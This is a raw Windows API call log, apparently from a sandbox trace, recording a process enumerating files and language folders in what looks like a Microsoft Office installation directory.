	[0075.213] FindClose (in: hFindFile=0x5e0a30 | out: hFindFile=0x5e0a30) returned 1
	[0075.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0075.214] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0
	[0075.214] FindClose (in: hFindFile=0x5e09f0 | out: hFindFile=0x5e09f0) returned 1
	[0075.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.218] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1
	[0075.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.220] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0
	[0075.221] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0075.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.221] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1
	[0075.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0075.224] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1
	[0075.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0075.224] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0
	[0075.224] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0075.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0075.224] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1
	[0075.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0075.383] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1
	[0075.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.400] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1
	[0075.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.409] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0075.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.412] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0075.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.413] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0075.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.415] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0075.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.416] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0075.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.416] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1
	[0075.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.416] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0075.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.417] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0075.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.419] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0075.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.423] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0075.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.423] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1
	[0075.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.424] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0075.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.424] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0075.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.425] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0075.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.426] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0075.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.427] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0075.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.429] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0075.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.429] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0075.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.429] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1
	[0075.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.431] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0075.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.432] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0075.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.433] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0075.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.434] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0075.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.434] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0075.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.436] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1
	[0075.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.436] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1
	[0075.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.437] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0075.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.438] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1
	[0075.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0075.439] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1
	[0075.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
